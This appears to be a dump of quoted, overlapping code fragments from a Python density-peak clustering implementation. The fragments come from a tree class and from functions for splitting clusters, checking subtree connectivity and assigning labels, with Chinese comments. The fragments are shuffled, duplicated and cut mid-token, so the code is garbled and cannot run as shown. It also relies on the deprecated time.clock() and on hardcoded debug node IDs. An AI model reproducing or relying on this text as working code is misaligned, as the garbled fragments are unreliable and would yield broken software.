"matplotlib.pyplot as plt import time def split_cluster_new(tree,local_density,dc_eps,closest_denser_nodes_id,mixin_near_matrix): ''' dc_eps: density_connectivity",
"node.getOffspringNum() if(cur_offsprings!=None): return cur_offsprings child_num = len(node.children) if(child_num==0): return 0",
"0 self.node_dir = {} self.root_node = None self.node_offspring = {}",
"for i in children if i not in siblings_reliable] if",
"import copy import matplotlib.pyplot as plt import time def split_cluster_new(tree,local_density,dc_eps,closest_denser_nodes_id,mixin_near_matrix):",
"cluster_tree.get_subtree_offspring_id(tree_id,[tree_id]) labels[cluster_idlist] = label label = label + 1 pass",
"def __init__(self): self.node_count = 0 self.node_dir = {} self.root_node =",
"connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,not_reliable_nodes[i],mixin_near_matrix) if(len(pairs_nodes)==0): pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return pairs_nodes",
"child_offspring_idlist pass self.node_offspring[node_id] = offspring_idlist return offspring_idlist offspring_idlist = fn_get_subtree_offspring_id(node_id,[])",
"return entropy/(-1*np.log2(1/(len(offspring_id)))) def remove_subtree(self,child_id): ''' 删除 node_id 节点的子树:child_id, 被删除的子树形成新的树并返回 1.",
"= np.full((node_num),-1,dtype=np.int32) for outlier_id in outlier_forest: outlier_tree = outlier_forest[outlier_id] outlier_idlist",
"Node(parent_id,X[parent_id],parent_id=None,dist_to_parent=closest_dis_denser[parent_id],density=local_density[parent_id],gamma=gamma[parent_id],children=[]) node_created[parent_id] = 1 node_dir[parent_id] = parent_node parent_node = node_dir[parent_id]",
"label + 1 pass #todo 修改此处代码 for uncertain_tree_id in uncertain_forest:",
"in node.children: cur_offsprings = self.calcu_subtree_offspring_num(i) child_num+=cur_offsprings node.setOffspringNum(child_num) return child_num def",
"np.unique(connected_nodes) def calcu_neighbor_btw_subtree(self,node_id_one,node_id_two,mixin_near_matrix): ''' 计算两个子树间的邻近点 return: 邻近的点对 所有邻近点 ''' connected_nodes",
"offspring_two: tmp_dist = np.min(dist_mat[i][offspring_one]) if(tmp_dist<dist): dist = tmp_dist pass connected_nodes_index",
"计算两个子树间的连通距离 return: 1. 最大相似距离 2. 大于相似距离阈值的点集 ''' connected_nodes = np.array([],dtype=np.int32)",
"node_id = sorted_gamma_index[i] parent_id = closest_node_id[node_id] #* closest_node_id是根据排序后的gamma获得的 attr_list =",
"[] #* 计算不可直接可达的点: for k in range(len(closest_denser_nodes_id)): near_nodes = mixin_near_matrix[k]",
"node node_dir[node_id].setParentId(parent_id) if(node_created[parent_id]==0): parent_node = Node(parent_id,X[parent_id],parent_id=None,dist_to_parent=closest_dis_denser[parent_id],density=local_density[parent_id],gamma=gamma[parent_id],children=[]) node_created[parent_id] = 1 node_dir[parent_id]",
"node_dir[node_id].setParentId(parent_id) if(node_created[parent_id]==0): parent_node = Node(parent_id,X[parent_id],parent_id=None,dist_to_parent=closest_dis_denser[parent_id],density=local_density[parent_id],gamma=gamma[parent_id],children=[]) node_created[parent_id] = 1 node_dir[parent_id] =",
"= fn_get_subtree_offspring_id(node_id,[]) return np.array(list(offspring_idlist) + other_idlist) def calcu_subtree_entropy(self,offspring_id,local_density,closest_dis_denser): p_sum =",
"continue if(local_density[node_id]-mean_density*dc_eps)>=0: #* 获取子节点个数: offspring_id = tree.get_subtree_offspring_id(node_id,[node_id]) if(len(offspring_id)<local_density[node_id]): uncertain_forest[node_id] =",
"pass def printTree2(self,parent_id,spaceStr=''): for node_id in self.node_dir: if(node_id==self.root_node.node_id): continue node",
"= np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes # return pairs_nodes # #*",
"'') self.printTree2(node.node_id,spaceStr+' ') pass def calcu_subtree_offspring_num(self,node_id): node = self.node_dir[node_id] cur_offsprings",
"other_idlist) def calcu_subtree_entropy(self,offspring_id,local_density,closest_dis_denser): p_sum = np.sum(local_density[offspring_id]/closest_dis_denser[offspring_id]) p = (local_density[offspring_id]/closest_dis_denser[offspring_id])/p_sum entropy",
"= None def addChild(self,child): self.children+=[child] def removeChild(self,child): self.children.remove(child) def resetChildren(self):",
"new_tree.node_dir[child_id] new_tree.root_node.setParentId(child_id) return new_tree def calcu_dist_betw_subtree(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离 return: 1.",
"tree.calcu_depth(not_direct_reach[i],0) pass not_direct_reach = list(not_direct_reach[np.argsort(depth_list_not_direct_reach)]) #* 模拟栈结构,层次深的先处理 start = time.clock()",
"for node_id in uncertain_nodes_id: all_near_nodes = np.append(all_near_nodes,mixin_near_matrix[node_id]) pass # all_near_nodes",
"2. 大于相似距离阈值的点集 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two",
"DPTree() for i in offspring_id: removed_node = self.node_dir.pop(i) new_tree.node_dir[i] =",
"= uncertain_forest[uncertain_tree_id] uncertain_nodes_id = uncertain_tree.get_subtree_offspring_id(uncertain_tree_id,[uncertain_tree_id]) all_near_nodes = np.array([],dtype=np.int32) for node_id",
"self.node_dir[node_id] parent_id = node.parent_id if(node_id==parent_id): return depth else: return self.calcu_depth(parent_id,depth+1)",
"i in children: child_offspring_idlist = fn_get_subtree_offspring_id(i,[]) self.node_offspring[i] = child_offspring_idlist offspring_idlist=",
"calcu_dist_betw_subtree_entropy(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离 return: 1. 最大相似距离 2. 大于相似距离阈值的点集 ''' connected_nodes",
"node = self.node_dir[node_id] if(node.parent_id==parent_id): print(spaceStr, node.node_id, sep = '') self.printTree2(node.node_id,spaceStr+'",
"def getNodeId(self): return self.node_id def getParentId(self): return self.parent_id def getDistToParent(self):",
"connected_nodes = np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) pairs_nodes",
"tree.get_subtree_offspring_id(node_id,[node_id]) if(len(offspring_id)<local_density[node_id]): uncertain_forest[node_id] = tree.remove_subtree(node_id) pass else: cluster_forest[node_id] = tree.remove_subtree(node_id)",
"cluster_forest, uncertain_forest def is_connected_new(tree,local_density,dc_eps,cur_node_id,reliable_nodes,not_reliable_nodes,mixin_near_matrix): ''' cur_node: 当前待判断与父节点连通度的点; reliable_nodes:兄弟节点中与父节点直接相连的点; not_reliable_nodes:兄弟节点中不与父节点直接相连的点,但可能间接相连; 连通度判断方案:",
"all_near_nodes = np.append(all_near_nodes,mixin_near_matrix[node_id]) pass # all_near_nodes = mixin_near_matrix[uncertain_nodes_id] all_near_nodes =",
"node_dir[parent_id] = parent_node parent_node = node_dir[parent_id] cur_node = node_dir[node_id] if(node_id",
"% str(end - start)) cluster_forest[tree.root_node.node_id] = tree #* 添加根节点的树 return",
"for i in offspring_two: tmp_dist = np.max(dist_mat[i][offspring_one]) if(tmp_dist>=dist): dist =",
"class DPTree(): def __init__(self): self.node_count = 0 self.node_dir = {}",
"def getDistToParent(self): return self.dist_to_parent def getDensity(self): return self.density def getGamma(self):",
"= np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes if(len(pairs_nodes)==0): pairs_nodes",
"= 0 for tree_id in cluster_forest: cluster_tree = cluster_forest[tree_id] cluster_idlist",
"# not_direct_reach = np.where(closest_dis_denser>eps)[0] #* 将不直接距离可达的点按层次排列: # not_direct_reach = np.array(not_direct_reach)",
"if(node_id==self.root_node.node_id): continue node = self.node_dir[node_id] if(node.parent_id==parent_id): print(spaceStr, node.node_id, sep =",
"print(node_id) if node_id in tree.sorted_gamma_index[0:10]: cluster_forest[node_id] = tree.remove_subtree(node_id) continue node",
"np.array([],dtype=np.int32) for node_id in uncertain_nodes_id: all_near_nodes = np.append(all_near_nodes,mixin_near_matrix[node_id]) pass #",
"self.node_dir[node_id] node.removeChild(child_id) self.node_count = self.node_count-offspring_len #* 删除存储的子孙节点 if(node_id in self.node_offspring.keys()):",
"gamma 顺序新建节点 node_dir = {} node_created = np.zeros(len(sorted_gamma_index)) self.sorted_gamma_index =",
"return np.array(list(offspring_idlist) + other_idlist) def calcu_subtree_entropy(self,offspring_id,local_density,closest_dis_denser): p_sum = np.sum(local_density[offspring_id]/closest_dis_denser[offspring_id]) p",
"tree.calcu_neighbor_btw_subtree(cur_node_id,reliable_node_id,mixin_near_matrix) if(len(pairs_nodes)==0): continue # return pairs_nodes cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring",
"__init__(self): self.node_count = 0 self.node_dir = {} self.root_node = None",
"pass pass # cur_id = child_id # parent_id = node_id",
"连通:距离小于阈值,并且密度要大于子树的平均密度 node_id = not_direct_reach.pop() if(node_id==129193 or node_id==61589 or node_id ==",
"return self.dist_to_parent def getDensity(self): return self.density def getGamma(self): return self.gamma",
"= -1 pass label = 0 for tree_id in cluster_forest:",
"1. if(len(reliable_nodes)==0): return [] for reliable_node_id in reliable_nodes: pairs_nodes, connected_nodes",
"return [] def label_these_node_new(outlier_forest,cluster_forest,node_num,uncertain_forest,mixin_near_matrix): ''' 给森林中的样本点贴标签 考虑不确定点的分配 ''' labels =",
"time.clock() print('切割树耗时 %s' % str(end - start)) cluster_forest[tree.root_node.node_id] = tree",
"cur_node: 当前待判断与父节点连通度的点; reliable_nodes:兄弟节点中与父节点直接相连的点; not_reliable_nodes:兄弟节点中不与父节点直接相连的点,但可能间接相连; 连通度判断方案: 1. 判断 cur_node 与 reliable_nodes",
"for j in connected_nodes_index: pairs_nodes.append([i,j]) pass pass if(len(pairs_nodes)==0): return pairs_nodes,connected_nodes",
"{} not_direct_reach = [] #* 计算不可直接可达的点: for k in range(len(closest_denser_nodes_id)):",
"node_created[parent_id] = 1 node_dir[parent_id] = parent_node parent_node = node_dir[parent_id] cur_node",
"in range(len(closest_denser_nodes_id)): near_nodes = mixin_near_matrix[k] if closest_denser_nodes_id[k] not in near_nodes:",
"offspring_num: # while(cur_id!=parent_id): # parent_node = self.node_dir[parent_id] # if(parent_node.getOffspringNum()!=None): #",
"np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes if(len(pairs_nodes)==0): pairs_nodes =",
"i in range(len(not_direct_reach)): # depth_list_not_direct_reach[i] = tree.node_dir[not_direct_reach[i]].getLvl() depth_list_not_direct_reach[i] = tree.calcu_depth(not_direct_reach[i],0)",
"for i in offspring_two: tmp_dist = np.min(dist_mat[i][offspring_one]) if(tmp_dist<dist): dist =",
"print('切割树耗时 %s' % str(end - start)) cluster_forest[tree.root_node.node_id] = tree #*",
"getLvl(self): return self.lvl class DPTree(): def __init__(self): self.node_count = 0",
"outlier_forest = {} cluster_forest = {} uncertain_forest = {} not_direct_reach",
"if(parent_node.getLvl()==None): parent_node.setLvl(0) #* 设置节点层次信息 # for i in tree.node_dir: #",
"3. 循环遍历[a,b,c],递归调用本方法 is_connected_entropy(……,cur_node_id=[a],reliable_nodes,not_reliable_nodes=[b,c,d,e]) ''' #* 1. if(len(reliable_nodes)==0): return [] for",
"#* 判断是否 连通:距离小于阈值,并且密度要大于子树的平均密度 node_id = not_direct_reach.pop() if(node_id==129193 or node_id==61589 or",
"self.node_offspring.keys()): for node_to_delete in offspring_id: self.node_offspring[node_id].remove(node_to_delete) print(\"删除子孙节点:\",node_to_delete) pass pass #",
"连通点平均密度大于局部密度阈值,则更新最大相似度 cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes])",
"node.node_id, sep = '') self.printTree2(node.node_id,spaceStr+' ') pass def calcu_subtree_offspring_num(self,node_id): node",
"''' #* 1. if(len(reliable_nodes)==0): return [] for reliable_node_id in reliable_nodes:",
"self.root_node = node_dir[sorted_gamma_index[0]] self.node_dir = node_dir self.node_count = len(sorted_gamma_index) pass",
"pairs_nodes # pass return [] def label_these_node_new(outlier_forest,cluster_forest,node_num,uncertain_forest,mixin_near_matrix): ''' 给森林中的样本点贴标签 考虑不确定点的分配",
"not in near_nodes: not_direct_reach.append(k) pass not_direct_reach = np.array(not_direct_reach) # not_direct_reach",
"= tree.remove_subtree(node_id) pass else: cluster_forest[node_id] = tree.remove_subtree(node_id) pass pass else:",
"= np.array(not_direct_reach) depth_list_not_direct_reach= np.zeros(len(not_direct_reach),dtype=np.int16) for i in range(len(not_direct_reach)): # depth_list_not_direct_reach[i]",
"与 reliable_nodes 是否可达,是则返回;没有则执行2; 2. 判断 cur_node 与 not_reliable_nodes(假设为[a,b,c,d,e]) 是否可达,若与[a,b,c]可达,与[d,e]不可达,执行3; 3.",
"# cur_node.setLvl(parent_lvl+1) else: if(parent_node.getLvl()==None): parent_node.setLvl(0) #* 设置节点层次信息 # for i",
"{} self.root_node = None self.node_offspring = {} self.sorted_gamma_index = None",
"local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes pass #* 2. for",
"self.root_node = None self.node_offspring = {} self.sorted_gamma_index = None pass",
"#* 更新 self.node_dir, 生成新树: new_tree = DPTree() for i in",
"被删除的子树形成新的树并返回 1. 更新 self.node_dir, self.node_count 2. 更新 node_id 节点的 children[],",
"最大相似距离 2. 大于相似距离阈值的点集 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one])",
"self.children+=[child] def removeChild(self,child): self.children.remove(child) def resetChildren(self): self.children = [] def",
"= node_id self.attr_list = attr_list self.parent_id = parent_id self.dist_to_parent =",
"getNodeId(self): return self.node_id def getParentId(self): return self.parent_id def getDistToParent(self): return",
"= np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return dist, np.unique(connected_nodes) def calcu_depth(self,node_id, depth): node",
"continue node = self.node_dir[node_id] if(node.parent_id==parent_id): print(spaceStr, node.node_id, sep = '')",
"in outlier_forest: outlier_tree = outlier_forest[outlier_id] outlier_idlist = outlier_tree.get_subtree_offspring_id(outlier_id,[outlier_id]) labels[outlier_idlist] =",
"offspring_id: removed_node = self.node_dir.pop(i) new_tree.node_dir[i] = removed_node pass new_tree.node_count =",
"getDistToParent(self): return self.dist_to_parent def getDensity(self): return self.density def getGamma(self): return",
"cur_id = parent_id # parent_id = parent_node.parent_id # pass #*",
"setParentId(self,parent_id): self.parent_id = parent_id def setOffspringNum(self,num): self.offspring_num = num def",
"range(len(not_reliable_nodes)): pairs_nodes, connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,not_reliable_nodes[i],mixin_near_matrix) if(len(pairs_nodes)==0): pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0):",
"return 0 for i in node.children: cur_offsprings = self.calcu_subtree_offspring_num(i) child_num+=cur_offsprings",
"if closest_denser_nodes_id[k] not in near_nodes: not_direct_reach.append(k) pass not_direct_reach = np.array(not_direct_reach)",
"1 node_dir[node_id] = node node_dir[node_id].setParentId(parent_id) if(node_created[parent_id]==0): parent_node = Node(parent_id,X[parent_id],parent_id=None,dist_to_parent=closest_dis_denser[parent_id],density=local_density[parent_id],gamma=gamma[parent_id],children=[]) node_created[parent_id]",
"{} cluster_forest = {} uncertain_forest = {} not_direct_reach = []",
"= node_dir[node_id] if(node_id != parent_id):#* 非根节点 parent_node.addChild(node_id) # parent_lvl =",
"time.clock() while(len(not_direct_reach)>0): #* 判断是否 连通:距离小于阈值,并且密度要大于子树的平均密度 node_id = not_direct_reach.pop() if(node_id==129193 or",
"i in children if i not in not_direct_reach] #* 求得兄弟节点,其中兄弟节点不能是不直接可达的点",
"''' cur_node: 当前待判断与父节点连通度的点; reliable_nodes:兄弟节点中与父节点直接相连的点; not_reliable_nodes:兄弟节点中不与父节点直接相连的点,但可能间接相连; 连通度判断方案: 1. 判断 cur_node 与",
"np.mean(local_density) outlier_forest = {} cluster_forest = {} uncertain_forest = {}",
"= np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) pairs_nodes =",
"= np.where(closest_dis_denser>eps)[0] #* 将不直接距离可达的点按层次排列: # not_direct_reach = np.array(not_direct_reach) depth_list_not_direct_reach= np.zeros(len(not_direct_reach),dtype=np.int16)",
"not_direct_reach.pop() if(node_id==129193 or node_id==61589 or node_id == 123593): print(node_id) if",
"uncertain_forest: uncertain_tree = uncertain_forest[uncertain_tree_id] uncertain_nodes_id = uncertain_tree.get_subtree_offspring_id(uncertain_tree_id,[uncertain_tree_id]) all_near_nodes = np.array([],dtype=np.int32)",
"= tree.node_dir[not_direct_reach[i]].getLvl() depth_list_not_direct_reach[i] = tree.calcu_depth(not_direct_reach[i],0) pass not_direct_reach = list(not_direct_reach[np.argsort(depth_list_not_direct_reach)]) #*",
"else: node = self.node_dir[node_id] children = node.getChildren() child_num = len(children)",
"offspring_id = self.get_subtree_offspring_id(child_id,[child_id]) offspring_len = len(offspring_id) node_id = self.node_dir[child_id].parent_id node",
"child_num def get_subtree_offspring_id(self,node_id,other_idlist): ''' 获取所有子孙的node_id 考虑:是否需要存储在node属性中。 ''' def fn_get_subtree_offspring_id(node_id,offspring_idlist): if(node_id",
"# pass self.root_node = node_dir[sorted_gamma_index[0]] self.node_dir = node_dir self.node_count =",
"pairs_nodes if(len(pairs_nodes)==0): pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return pairs_nodes # pass",
"in children: child_offspring_idlist = fn_get_subtree_offspring_id(i,[]) self.node_offspring[i] = child_offspring_idlist offspring_idlist= list(offspring_idlist)",
"更新 self.node_dir, self.node_count 2. 更新 node_id 节点的 children[], 以及所有父级offspring_num 3.",
"tree.node_dir: # pass self.root_node = node_dir[sorted_gamma_index[0]] self.node_dir = node_dir self.node_count",
"阈值 使用父子节点的直接距离,与子节点与兄弟节点的连通距离进行聚簇划分; 使用平均密度划分outlier 返回: outlier_forest cluster_forest ''' mean_density = np.mean(local_density)",
"= tree.remove_subtree(node_id) continue node = tree.node_dir[node_id] parent_id = node.parent_id parent_node",
"for reliable_node_id in reliable_nodes: pairs_nodes, connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,reliable_node_id,mixin_near_matrix) if(len(pairs_nodes)==0): continue",
"''' 删除 node_id 节点的子树:child_id, 被删除的子树形成新的树并返回 1. 更新 self.node_dir, self.node_count 2.",
"if(node_created[parent_id]==0): parent_node = Node(parent_id,X[parent_id],parent_id=None,dist_to_parent=closest_dis_denser[parent_id],density=local_density[parent_id],gamma=gamma[parent_id],children=[]) node_created[parent_id] = 1 node_dir[parent_id] = parent_node",
"#* 求得兄弟节点,其中兄弟节点不能是不直接可达的点 not_reliable_nodes = [i for i in children if",
"return pairs_nodes if(len(pairs_nodes)==0): pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return pairs_nodes #",
"node_dir[sorted_gamma_index[0]] self.node_dir = node_dir self.node_count = len(sorted_gamma_index) pass def printTree2(self,parent_id,spaceStr=''):",
"self.calcu_subtree_offspring_num(i) child_num+=cur_offsprings node.setOffspringNum(child_num) return child_num def get_subtree_offspring_id(self,node_id,other_idlist): ''' 获取所有子孙的node_id 考虑:是否需要存储在node属性中。",
"children: child_offspring_idlist = fn_get_subtree_offspring_id(i,[]) self.node_offspring[i] = child_offspring_idlist offspring_idlist= list(offspring_idlist) +",
"dist, np.unique(connected_nodes) def calcu_neighbor_btw_subtree(self,node_id_one,node_id_two,mixin_near_matrix): ''' 计算两个子树间的邻近点 return: 邻近的点对 所有邻近点 '''",
"outlier_idlist = outlier_tree.get_subtree_offspring_id(outlier_id,[outlier_id]) labels[outlier_idlist] = -1 pass label = 0",
"if(len(pairs_nodes)==0): pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return pairs_nodes else: cur_node_offspring =",
"pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return pairs_nodes # pass return []",
"= self.node_dir[node_id] if(node.parent_id==parent_id): print(spaceStr, node.node_id, sep = '') self.printTree2(node.node_id,spaceStr+' ')",
"tree #* 添加根节点的树 return outlier_forest, cluster_forest, uncertain_forest def is_connected_new(tree,local_density,dc_eps,cur_node_id,reliable_nodes,not_reliable_nodes,mixin_near_matrix): '''",
"new_tree def calcu_dist_betw_subtree(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离 return: 1. 最短距离 2. 小于距离阈值的点集",
"connected_nodes_index = np.where(dist_mat[i][offspring_one]<eps)[0] if len(connected_nodes_index)>0: connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return",
"i not in siblings_reliable] if node_id in not_reliable_nodes: not_reliable_nodes.remove(node_id) if",
"pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return pairs_nodes else: cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id])",
"fn_get_subtree_offspring_id(node_id,[]) return np.array(list(offspring_idlist) + other_idlist) def calcu_subtree_entropy(self,offspring_id,local_density,closest_dis_denser): p_sum = np.sum(local_density[offspring_id]/closest_dis_denser[offspring_id])",
"# if(parent_node.getOffspringNum()!=None): # parent_node.setOffspringNum(parent_node.getOffspringNum()-offspring_len) # cur_id = parent_id # parent_id",
"tree.sorted_gamma_index[0:10]: cluster_forest[node_id] = tree.remove_subtree(node_id) continue node = tree.node_dir[node_id] parent_id =",
"self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) pairs_nodes = [] for i in",
"cur_offsprings = self.calcu_subtree_offspring_num(i) child_num+=cur_offsprings node.setOffspringNum(child_num) return child_num def get_subtree_offspring_id(self,node_id,other_idlist): '''",
"0 for i in node.children: cur_offsprings = self.calcu_subtree_offspring_num(i) child_num+=cur_offsprings node.setOffspringNum(child_num)",
"self.node_id = node_id self.attr_list = attr_list self.parent_id = parent_id self.dist_to_parent",
"if(node_id in self.node_offspring.keys()): for node_to_delete in offspring_id: self.node_offspring[node_id].remove(node_to_delete) print(\"删除子孙节点:\",node_to_delete) pass",
"i in offspring_id: removed_node = self.node_dir.pop(i) new_tree.node_dir[i] = removed_node pass",
"parent_id = node.parent_id parent_node = tree.node_dir[parent_id] children = parent_node.getChildren() siblings_reliable",
"pass connected_nodes_index = np.where(dist_mat[i][offspring_one]>=eps)[0] if len(connected_nodes_index)>0: connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass",
"node_id 节点的子树:child_id, 被删除的子树形成新的树并返回 1. 更新 self.node_dir, self.node_count 2. 更新 node_id",
"if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes pass #* 2. for i in range(len(not_reliable_nodes)):",
"local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes # return pairs_nodes #",
"self.children: return True else: return False def getOffspringNum(self): return self.offspring_num",
"parent_node.getLvl() # cur_node.setLvl(parent_lvl+1) else: if(parent_node.getLvl()==None): parent_node.setLvl(0) #* 设置节点层次信息 # for",
"node = self.node_dir[node_id] parent_id = node.parent_id if(node_id==parent_id): return depth else:",
"self.density def getGamma(self): return self.gamma def getChildren(self): return self.children def",
"tree.node_dir[parent_id] children = parent_node.getChildren() siblings_reliable = [ i for i",
"pass pass pass end = time.clock() print('切割树耗时 %s' % str(end",
"mixin_near_matrix[k] if closest_denser_nodes_id[k] not in near_nodes: not_direct_reach.append(k) pass not_direct_reach =",
"pairs_nodes cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes])",
"offspring_idlist return offspring_idlist offspring_idlist= list(offspring_idlist) + children for i in",
"offspring_len new_tree.root_node = new_tree.node_dir[child_id] new_tree.root_node.setParentId(child_id) return new_tree def calcu_dist_betw_subtree(self,node_id_one,node_id_two,dist_mat,eps): '''",
"if i not in not_direct_reach] #* 求得兄弟节点,其中兄弟节点不能是不直接可达的点 not_reliable_nodes = [i",
"outlier_tree = outlier_forest[outlier_id] outlier_idlist = outlier_tree.get_subtree_offspring_id(outlier_id,[outlier_id]) labels[outlier_idlist] = -1 pass",
"tmp_dist = np.max(dist_mat[i][offspring_one]) if(tmp_dist>=dist): dist = tmp_dist pass connected_nodes_index =",
"self.node_offspring[node_id].remove(node_to_delete) print(\"删除子孙节点:\",node_to_delete) pass pass # cur_id = child_id # parent_id",
"depth_list_not_direct_reach= np.zeros(len(not_direct_reach),dtype=np.int16) for i in range(len(not_direct_reach)): # depth_list_not_direct_reach[i] = tree.node_dir[not_direct_reach[i]].getLvl()",
"= cluster_forest[tree_id] cluster_idlist = cluster_tree.get_subtree_offspring_id(tree_id,[tree_id]) labels[cluster_idlist] = label label =",
"''' dc_eps: density_connectivity 阈值 使用父子节点的直接距离,与子节点与兄弟节点的连通距离进行聚簇划分; 使用平均密度划分outlier 返回: outlier_forest cluster_forest '''",
"in offspring_two: connected_nodes_index = np.intersect1d(mixin_near_matrix[i],offspring_one) if len(connected_nodes_index)>0: for j in",
"removed_node pass new_tree.node_count = offspring_len new_tree.root_node = new_tree.node_dir[child_id] new_tree.root_node.setParentId(child_id) return",
"label = 0 for tree_id in cluster_forest: cluster_tree = cluster_forest[tree_id]",
"= parent_node.getLvl() # cur_node.setLvl(parent_lvl+1) else: if(parent_node.getLvl()==None): parent_node.setLvl(0) #* 设置节点层次信息 #",
"使用父子节点的直接距离,与子节点与兄弟节点的连通距离进行聚簇划分; 使用平均密度划分outlier 返回: outlier_forest cluster_forest ''' mean_density = np.mean(local_density) outlier_forest",
"= DPTree() for i in offspring_id: removed_node = self.node_dir.pop(i) new_tree.node_dir[i]",
"def calcu_dist_betw_subtree(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离 return: 1. 最短距离 2. 小于距离阈值的点集 '''",
"in offspring_two: tmp_dist = np.min(dist_mat[i][offspring_one]) if(tmp_dist<dist): dist = tmp_dist pass",
"if(node_created[node_id]==0): node = Node(node_id,attr_list,parent_id,dist_to_parent=dist_to_parent,density=density,gamma[node_id],children=[]) node_created[node_id] = 1 node_dir[node_id] = node",
"if(node_id != parent_id):#* 非根节点 parent_node.addChild(node_id) # parent_lvl = parent_node.getLvl() #",
"depth_list_not_direct_reach[i] = tree.calcu_depth(not_direct_reach[i],0) pass not_direct_reach = list(not_direct_reach[np.argsort(depth_list_not_direct_reach)]) #* 模拟栈结构,层次深的先处理 start",
"in offspring_id: self.node_offspring[node_id].remove(node_to_delete) print(\"删除子孙节点:\",node_to_delete) pass pass # cur_id = child_id",
"density self.children = children self.gamma = gamma self.offspring_num = None",
"offspring_id = tree.get_subtree_offspring_id(node_id,[node_id]) if(len(offspring_id)<local_density[node_id]): uncertain_forest[node_id] = tree.remove_subtree(node_id) pass else: cluster_forest[node_id]",
"= tree #* 添加根节点的树 return outlier_forest, cluster_forest, uncertain_forest def is_connected_new(tree,local_density,dc_eps,cur_node_id,reliable_nodes,not_reliable_nodes,mixin_near_matrix):",
"else: if(parent_node.getLvl()==None): parent_node.setLvl(0) #* 设置节点层次信息 # for i in tree.node_dir:",
"setLvl(self,lvl): self.lvl = lvl def getAttr(self): return self.attr_list def getNodeId(self):",
"# not_direct_reach = np.array(not_direct_reach) depth_list_not_direct_reach= np.zeros(len(not_direct_reach),dtype=np.int16) for i in range(len(not_direct_reach)):",
"continue node = tree.node_dir[node_id] parent_id = node.parent_id parent_node = tree.node_dir[parent_id]",
"node.children: cur_offsprings = self.calcu_subtree_offspring_num(i) child_num+=cur_offsprings node.setOffspringNum(child_num) return child_num def get_subtree_offspring_id(self,node_id,other_idlist):",
"cur_node 与 not_reliable_nodes(假设为[a,b,c,d,e]) 是否可达,若与[a,b,c]可达,与[d,e]不可达,执行3; 3. 循环遍历[a,b,c],递归调用本方法 is_connected_entropy(……,cur_node_id=[a],reliable_nodes,not_reliable_nodes=[b,c,d,e]) ''' #* 1.",
"-1 else: cur_label = unique_labels[np.argmax(counts)] labels[uncertain_nodes_id]=cur_label pass core_points = cluster_forest.keys()",
"unique_labels[np.argmax(counts)] labels[uncertain_nodes_id]=cur_label pass core_points = cluster_forest.keys() return labels,core_points ''' 密度峰值树;",
"(local_density[offspring_id]/closest_dis_denser[offspring_id])/p_sum entropy = -1*np.sum(p*np.log2(p)) #* 只有一个点的情况返回 0 if(entropy==0): return 0",
"# #* 设置父级 offspring_num: # while(cur_id!=parent_id): # parent_node = self.node_dir[parent_id]",
